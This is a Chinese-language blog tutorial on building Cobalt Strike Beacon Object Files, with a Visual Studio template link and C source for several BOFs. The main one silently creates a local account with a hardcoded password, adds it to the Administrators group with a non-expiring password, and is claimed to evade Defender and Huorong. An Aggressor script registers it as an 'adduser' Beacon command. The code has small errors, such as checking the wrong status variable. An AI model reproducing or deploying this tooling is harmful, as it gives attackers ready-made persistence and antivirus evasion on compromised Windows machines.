什么是Beacon Object File (BOF)?
引用一下gpt~
Beacon Object File (BOF) 是一种特殊的二进制文件格式,用于在Cobalt Strike的Beacon模块中运行自定义代码。BOF文件是用C语言编写的,然后通过特定工具链编译成适合在Beacon上下文中加载和执行的二进制格式。
BOF的用途
1. 扩展Beacon功能:通过BOF,可以在Cobalt Strike中添加自定义功能,扩展Beacon的能力。这对于需要特殊或定制化功能的红队活动非常有用。
2. 减少检测:BOF文件通常比传统的可执行文件或脚本更难被防病毒软件检测到,因为它们直接在内存中加载和执行,而不需要在磁盘上写入文件。
3. 高效执行:由于BOF文件是用C语言编写并编译的,因此它们可以比用脚本语言编写的模块更高效地执行复杂的任务。
BOF的工作原理
1. 编写C代码:编写一个C程序,实现你需要的功能。这个C程序将使用特定的API和结构,以便能够在Beacon中正确加载和执行。
2. 编译成BOF:使用特定的工具链(例如Cobalt Strike提供的MinGW-w64工具链)将C代码编译成BOF格式。
3. 加载和执行:在Cobalt Strike中,使用特定的命令将BOF文件加载到Beacon中并执行。
模版导入
BOF模版文件
https://github.com/securifybv/Visual-Studio-BOF-template
把模版文件放入
C:\Users\test\Documents\Visual Studio 2022\Templates\ProjectTemplates\
目录下
选中bof直接编译即可
代码文件~后续持续更新
输出测试
#include "bofdefs.h"
extern "C" {
#ifdef BOF
void go(char* buff, int len) {
BeaconPrintf(CALLBACK_OUTPUT, "Hello, World!");
#endif
}
}
#ifndef BOF
void main(int argc, char* argv[]) {
go(NULL, 0);
}
#endif
用户名
#include
#include
#include "bofdefs.h"
#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
#else
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF
return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetUserNameA(LPSTR, LPDWORD);
DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND, LPCSTR, LPCSTR, UINT);
#ifdef BOF
void go(char* buff, int len) {
char username[1024];
DWORD usernameLength = sizeof username;
ADVAPI32$GetUserNameA(username, &usernameLength);
BeaconPrintf(CALLBACK_OUTPUT, "当前用户名为:%s", username);
User32$MessageBoxA(0, 0, 0, 0);
}
#else
void main(int argc, char* argv[]) {
}
#endif
添加用户(可过df 火绒)
#include
#include
#include
#include "bofdefs.h"
#pragma region error_handling
#define print_error(msg, hr) _print_error(__FUNCTION__, __LINE__, msg, hr)
BOOL _print_error(char* func, int line, char* msg, HRESULT hr) {
#ifdef BOF
BeaconPrintf(CALLBACK_ERROR, "(%s at %d): %s 0x%08lx", func, line, msg, hr);
#else
printf("[-] (%s at %d): %s 0x%08lx", func, line, msg, hr);
#endif // BOF
return FALSE;
}
#pragma endregion
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetUserAdd(LPWSTR, DWORD, PBYTE, PDWORD);
DECLSPEC_IMPORT NET_API_STATUS WINAPI NETAPI32$NetLocalGroupAddMembers(LPCWSTR, LPCWSTR, DWORD, PBYTE, DWORD);
#ifdef BOF
void go(char* buff, int len) {
if (!BeaconIsAdmin()) {
BeaconPrintf(CALLBACK_OUTPUT, "非管理权限");
return;
}
LPCWSTR username = L"sanfortest";
LPCWSTR password = L"san!@#123";
USER_INFO_1 ui;
DWORD dwLevel = 1;
DWORD dwError = 0;
ZeroMemory(&ui, sizeof(ui));
ui.usri1_name = (LPWSTR)username;
ui.usri1_password = (LPWSTR)password;
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT | UF_DONT_EXPIRE_PASSWD;
ui.usri1_script_path = NULL;
NET_API_STATUS nStatus = NETAPI32$NetUserAdd(NULL, dwLevel, (LPBYTE)&ui, &dwError);
if (nStatus == NERR_Success) {
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname = (LPWSTR)username;
NET_API_STATUS aStatus = NETAPI32$NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1);
if (nStatus == NERR_Success) {
BeaconPrintf(CALLBACK_OUTPUT, " %ls 用户、管理员组添加成功\n", username);
BeaconPrintf(CALLBACK_OUTPUT, "用户名: %ls,密码:%ls\n", username, password);
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "用户 %ls 管理员组添加失败", username);
}
}
else {
BeaconPrintf(CALLBACK_OUTPUT, "User added error %d", nStatus);
}
}
#else
void main(int argc, char* argv[]) {
}
#endif
CNA知识
beacon_command_register(
"adduser",
"Add a user to administrators",
"usage: adduser"
);
alias adduser {
local('$handle $data'); # 声明局部变量
# 读入bof文件
$handle = openf(script_resource("source.obj"));
$data = readb($handle, -1);
closef($handle);
# 执行bof
# "adduser" 是 BOF 中的函数名
beacon_inline_execute($1, $data, "go");
}
1. 命令注册:
• beacon_command_register 用于注册一个新的命令 adduser,并提供命令的描述和使用说明。
2. 别名定义:
• alias adduser 定义了 adduser 命令的具体实现。
3. 局部变量声明:
• local('$handle $data') 声明了 handle 和 data 作为局部变量,这些变量只在 adduser 命令别名中有效。
4. 读取BOF文件:
• 使用 openf 打开 BOF 文件 source.obj 并读取其内容:$data = readb($handle, -1);。
5. 执行BOF:
• 使用 beacon_inline_execute 执行 BOF,传递会话ID、文件内容和函数名:beacon_inline_execute($1, $data, "adduser");。
• $1:会话ID,指示在哪个会话上下文中执行命令。 默认$1就行了
参考链接
https://cn-sec.com/archives/2250195.html